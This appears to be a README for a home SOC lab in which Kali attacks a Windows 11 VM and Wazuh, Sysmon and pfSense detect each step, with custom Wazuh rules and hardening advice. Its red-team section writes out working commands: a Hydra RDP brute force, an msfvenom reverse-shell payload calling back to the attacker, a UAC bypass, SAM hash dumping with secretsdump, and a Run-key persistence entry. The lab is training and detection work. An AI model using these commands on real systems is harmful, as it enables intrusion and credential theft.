A full-lifecycle, hands-on Security Operations Center lab covering infrastructure deployment, adversary simulation (Red Team), and detection & response (Blue Team) — built entirely on virtualized infrastructure with enterprise-grade tooling.
- Project Overview
- Lab Architecture
- Phase 1 — Virtual Infrastructure & Networking
- Phase 2 — Gateway & Endpoint Deployment
- Phase 3 — Attack Simulation (Red Team)
- Attack vs Detection Mapping
- Phase 4 — Detection & Analysis (Blue Team)
- Detection Engineering
- Incident Summary
- Key Skills & Tools
- Key Takeaways
This project demonstrates the complete lifecycle of a modern Security Operations Center (SOC) — from building the isolated lab environment to executing multi-stage adversarial attacks and detecting every step with a production-grade SIEM/XDR stack.
The lab simulates a realistic enterprise network where:
- 🔴 Red Team (Kali Linux) performs recon, exploitation, privilege escalation, persistence, and credential harvesting
- 🔵 Blue Team (Wazuh SIEM + pfSense) detects, alerts, and maps every malicious action to the MITRE ATT&CK framework
Core Technologies:
| Category | Tool | Purpose |
|---|---|---|
| SIEM / XDR | Wazuh | Log aggregation, alerting, threat hunting |
| Firewall / Gateway | pfSense | Network segmentation, traffic control |
| Endpoint Telemetry | Sysmon | Granular Windows process/registry/network logging |
| Adversary Simulation | Metasploit / Impacket / Hydra | Exploitation & post-exploitation |
| Target | Windows 11 | Victim endpoint |
| Attack Platform | Kali Linux | Red team operations |
The entire lab runs on an isolated Virtual LAN (VMnet2) to simulate an enterprise environment safely. pfSense acts as the core gateway bridging NAT (internet) to the internal segment.
┌─────────────────────────────────────────────────────────────┐
│ VMnet2 (Isolated LAN) │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌────────────┐ │
│ │ Wazuh SIEM │ │ Windows 11 │ │ Kali Linux │ │
│ │ (Ubuntu) │◄────│ (Target) │◄───│ (Attacker) │ │
│ │ 3 GB RAM │ │ 2 GB RAM │ │ 1.5 GB RAM │ │
│ └──────────────┘ └──────────────┘ └────────────┘ │
│ ▲ ▲ │ │
│ └────────────────────┴───────────────────┘ │
│ │ │
│ ┌─────────▼────────┐ │
│ │ pfSense FW │ │
│ │ WAN (NAT) ◄──────┼──► Internet │
│ │ LAN (VMnet2) │ │
│ │ 512 MB RAM │ │
│ └──────────────────┘ │
└─────────────────────────────────────────────────────────────┘
| Component | OS | Role | RAM | Disk |
|---|---|---|---|---|
| Wazuh Manager | Ubuntu 22.04 | SIEM / XDR | 3 GB | 50 GB |
| pfSense | FreeBSD | Firewall / Gateway | 512 MB | 20 GB |
| Windows 11 | Windows 11 | Target Endpoint | 2 GB | 60 GB |
| Kali Linux | Debian | Adversary | 1.5 GB | 40 GB |
Wazuh Manager Settings:
Kali Linux Settings:
pfSense Settings:
Windows 11 Settings:
💡 Network Design: pfSense is configured with two network adapters — one on NAT (for internet access) and one on VMnet2 (internal LAN). This mirrors enterprise network design where the firewall bridges internal and external segments.
pfSense serves as the core router and firewall for the lab. It was installed with WAN (NAT) and LAN (VMnet2) interfaces configured for network isolation and controlled traffic flow.
 Disk partitioning during install |
 Partition editor configuration |
 Partition scheme selection |
 Completed partition layout |
After installation, WAN and LAN interfaces were assigned and verified:
For lab purposes, the pfSense default block rule was temporarily disabled to allow the Wazuh agent traffic and permit attack simulation:
Windows 11 was deployed by bypassing TPM and RAM requirements using a registry workaround during setup — a common technique for lab environments.
 Bypassing TPM/RAM checks |
 Installation in progress |
 Post-install provisioning |
 Internet connectivity verified |
Successful ping to pfSense gateway confirmed proper LAN connectivity:
To gain full visibility into endpoint activity, two monitoring components were deployed on Windows 11.
Sysmon (System Monitor) was installed with a custom configuration to capture:
- Process creation (Event ID 1)
- Network connections (Event ID 3)
- Registry modifications (Event ID 13)
- File creation events (Event ID 11)
The Wazuh Agent was installed and configured to forward all Windows Event Logs and Sysmon events to the Wazuh Manager (SIEM).
The attack follows the Cyber Kill Chain model:
Reconnaissance → Weaponization → Initial Access → Privilege Escalation → Persistence → Credential Access
All techniques are mapped to MITRE ATT&CK throughout.
Initial scan to identify live hosts and open services on the target subnet:
Comprehensive scan revealing critical open ports:
- Port 3389 — RDP (Remote Desktop Protocol) → target for brute force
- Port 445 — SMB → target for lateral movement
Hydra was used to brute-force RDP credentials against the Windows 11 target using a common wordlist:
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://[TARGET_IP]
MITRE: T1110 — Brute Force
A reverse shell payload was crafted using msfvenom for Windows execution:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[KALI_IP] LPORT=4444 -f exe -o payload.exe
The payload was hosted on a simple HTTP server for victim-side download:
python3 -m http.server 8080
A Metasploit multi/handler was configured to catch the reverse shell. Once the victim executed the payload, a Meterpreter session was established:
From a standard user context, UAC was bypassed and getsystem was executed to escalate to NT AUTHORITY\SYSTEM:
meterpreter > use exploit/windows/local/bypassuac
meterpreter > getsystem
 UAC bypass executed |
 SYSTEM-level access achieved |
MITRE: T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control
Using Impacket's secretsdump, all local NTLM hashes were extracted remotely from the SAM (Security Account Manager) database:
impacket-secretsdump administrator:[PASSWORD]@[TARGET_IP]
MITRE: T1003.002 — OS Credential Dumping: Security Account Manager
Remote command execution using WMI with harvested credentials:
impacket-wmiexec administrator@[TARGET_IP]
NetExec was used for additional remote command execution and network enumeration:
The Meterpreter session was migrated to explorer.exe (a trusted, long-running process) and a registry run key was created for persistence:
meterpreter > migrate -N explorer.exe
meterpreter > reg setval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run -v Updater -d 'C:\payload.exe'
MITRE: T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys
A hidden local administrator account was created for persistent access:
Using the newly created backdoor account, xfreerdp was used to establish a full GUI RDP session to the target:
| # | Attack Step | Tool Used | Detection Source | Wazuh Alert | MITRE ID |
|---|---|---|---|---|---|
| 1 | Reconnaissance | Nmap | pfSense firewall logs | Port scan detected | T1046 |
| 2 | Brute Force | Hydra | Windows Event ID 4625 | Multiple logon failures | T1110 |
| 3 | Initial Access | RDP | Windows Event ID 4624 | Successful login from attacker IP | T1078 |
| 4 | Privilege Escalation | Meterpreter / getsystem | Sysmon Event ID 1 | Suspicious process creation | T1548 |
| 5 | Credential Access | Secretsdump | Wazuh + NTLM logs | SAM access / NTLM hash exposure | T1003.002 |
| 6 | Persistence | Registry Run Key | Sysmon Event ID 13 | Autorun registry modification | T1547.001 |
| 7 | Lateral Movement | WMIExec / NetExec | Windows Event ID 4688 | Remote command execution | T1047 |
| 8 | Persistence (Account) | net user | Windows Event ID 4720 | New local account created | T1136.001 |
Wazuh SIEM provided full visibility into each stage of the attack through correlated log data from multiple sources: Windows Security Logs, Sysmon, and pfSense.
Wazuh triggered high-severity alerts based on Event ID 4625 (failed logon) patterns, identifying the Hydra brute-force attack in real time:
Wazuh correlated multiple alerts back to the Kali Linux IP address, enabling quick attacker attribution:
When the Meterpreter session wrote to HKCU\...\Run, Sysmon Event ID 13 triggered a high-severity Wazuh alert for the autorun registry modification:
Deep-dive event analysis in Wazuh revealing attacker process chains, parent-child relationships, and command-line arguments:
Wazuh detected and logged NTLM authentication hashes from RDP logon events — a critical finding that would indicate potential Pass-the-Hash attack surface:
The Wazuh Threat Hunting Dashboard mapped all detected activities to MITRE ATT&CK tactics and techniques, providing a structured view of the full attack chain:
<rule id="100001" level="10">
<if_sid>4625</if_sid>
<frequency>5</frequency>
<timeframe>60</timeframe>
<description>Possible RDP brute force attack — 5+ failed logons in 60 seconds</description>
<mitre>
<id>T1110</id>
</mitre>
</rule>| Field | Value |
|---|---|
| Data Source | Windows Security Logs |
| Event ID | 4625 (Failed Logon) |
| Logic | 5+ failures from same IP within 60 seconds |
| Severity | Level 10 (High) |
| MITRE | T1110 — Brute Force |
<rule id="100002" level="12">
<if_sid>60010</if_sid>
<field name="win.eventdata.targetObject">HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</field>
<description>Possible persistence via registry run key modification</description>
<mitre>
<id>T1547.001</id>
</mitre>
</rule>| Field | Value |
|---|---|
| Data Source | Sysmon Event ID 13 |
| Logic | Registry write to autorun locations |
| Target Path | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Severity | Level 12 (Critical) |
| MITRE | T1547.001 — Registry Run Keys |
<rule id="100003" level="10">
<if_sid>4720</if_sid>
<description>New local user account created — possible backdoor account</description>
<mitre>
<id>T1136.001</id>
</mitre>
</rule>| Field | Value |
|---|---|
| Data Source | Windows Security Logs |
| Event ID | 4720 (User Account Created) |
| MITRE | T1136.001 — Create Local Account |
[Recon] Nmap scan → open RDP (3389) and SMB (445) discovered
│
▼
[Access] Hydra brute-forces RDP credentials (Event ID 4625 x hundreds)
│
▼
[Login] Attacker logs in via RDP (Event ID 4624)
│
▼
[Payload] Msfvenom reverse shell delivered and executed
│
▼
[Shell] Meterpreter session established
│
▼
[PrivEsc] UAC bypassed → SYSTEM privileges gained (Sysmon EID 1)
│
▼
[Creds] Secretsdump extracts NTLM hashes from SAM
│
▼
[Persist] Registry run key created (Sysmon EID 13) + backdoor account
│
▼
[LateralMov] WMIExec / NetExec remote execution (Event ID 4688)
| Area | Impact |
|---|---|
| Confidentiality | NTLM hashes exposed; potential credential reuse across systems |
| Integrity | Registry modified; backdoor user created with admin privileges |
| Availability | Persistent foothold established; system could be re-accessed at any time |
| Priority | Recommendation |
|---|---|
| 🔴 Critical | Enable Account Lockout Policy (e.g. lock after 5 failed attempts) |
| 🔴 Critical | Restrict RDP access — firewall rules to allow only from trusted IPs |
| 🟠 High | Enable Network Level Authentication (NLA) for RDP |
| 🟠 High | Deploy MFA for all remote access |
| 🟡 Medium | Monitor registry autorun keys with Sysmon + alerting |
| 🟡 Medium | Audit local administrator accounts regularly |
| 🟢 Low | Enable Windows Defender / EDR alongside Wazuh for prevention layer |
| Category | Tool / Skill |
|---|---|
| SIEM / XDR | Wazuh Manager, Wazuh Agent, FIM, Custom Rules |
| Endpoint Telemetry | Sysmon, Windows Event Viewer |
| Forensics | NTLM hash analysis, log correlation, process chain analysis |
| Threat Intelligence | MITRE ATT&CK framework mapping |
| Networking | pfSense, VLAN isolation, firewall rule analysis |
| Category | Tool / Skill |
|---|---|
| Recon | Nmap (host & port discovery) |
| Initial Access | Hydra (brute force), MSFVenom (payload generation) |
| Exploitation | Metasploit Framework, Meterpreter |
| Privilege Escalation | UAC Bypass, getsystem |
| Credential Access | Impacket Secretsdump (SAM) |
| Lateral Movement | Impacket WMIExec, NetExec (NXC), xfreerdp |
| Persistence | Registry Run Keys, backdoor account creation |
-
Log correlation is essential — no single log source tells the full story. Correlating Windows Security Logs, Sysmon, and firewall logs together exposed every step of the attack chain.
-
Sysmon telemetry is invaluable — without Sysmon, critical actions like process migration to
explorer.exeand registry autorun key creation would have been invisible. -
Brute-force attacks are noisy and detectable — hundreds of Event ID 4625 entries made the Hydra attack trivial to spot with even basic threshold-based alerting.
-
NTLM over RDP is a credential risk — NTLM authentication hashes captured from RDP sessions create a Pass-the-Hash attack surface that organizations often overlook.
-
MITRE ATT&CK provides structure — mapping every detected event to ATT&CK tactics and techniques transforms raw alerts into actionable threat intelligence.
-
Defense in depth matters — the combination of network-level visibility (pfSense), endpoint telemetry (Sysmon), and centralized detection (Wazuh) created overlapping detection layers that would be very difficult for an attacker to evade entirely.
Built with 🛡️ for learning, detection, and the art of the hunt.
All attacks were performed in an isolated lab environment. Never use these techniques against systems you do not own or have explicit written permission to test.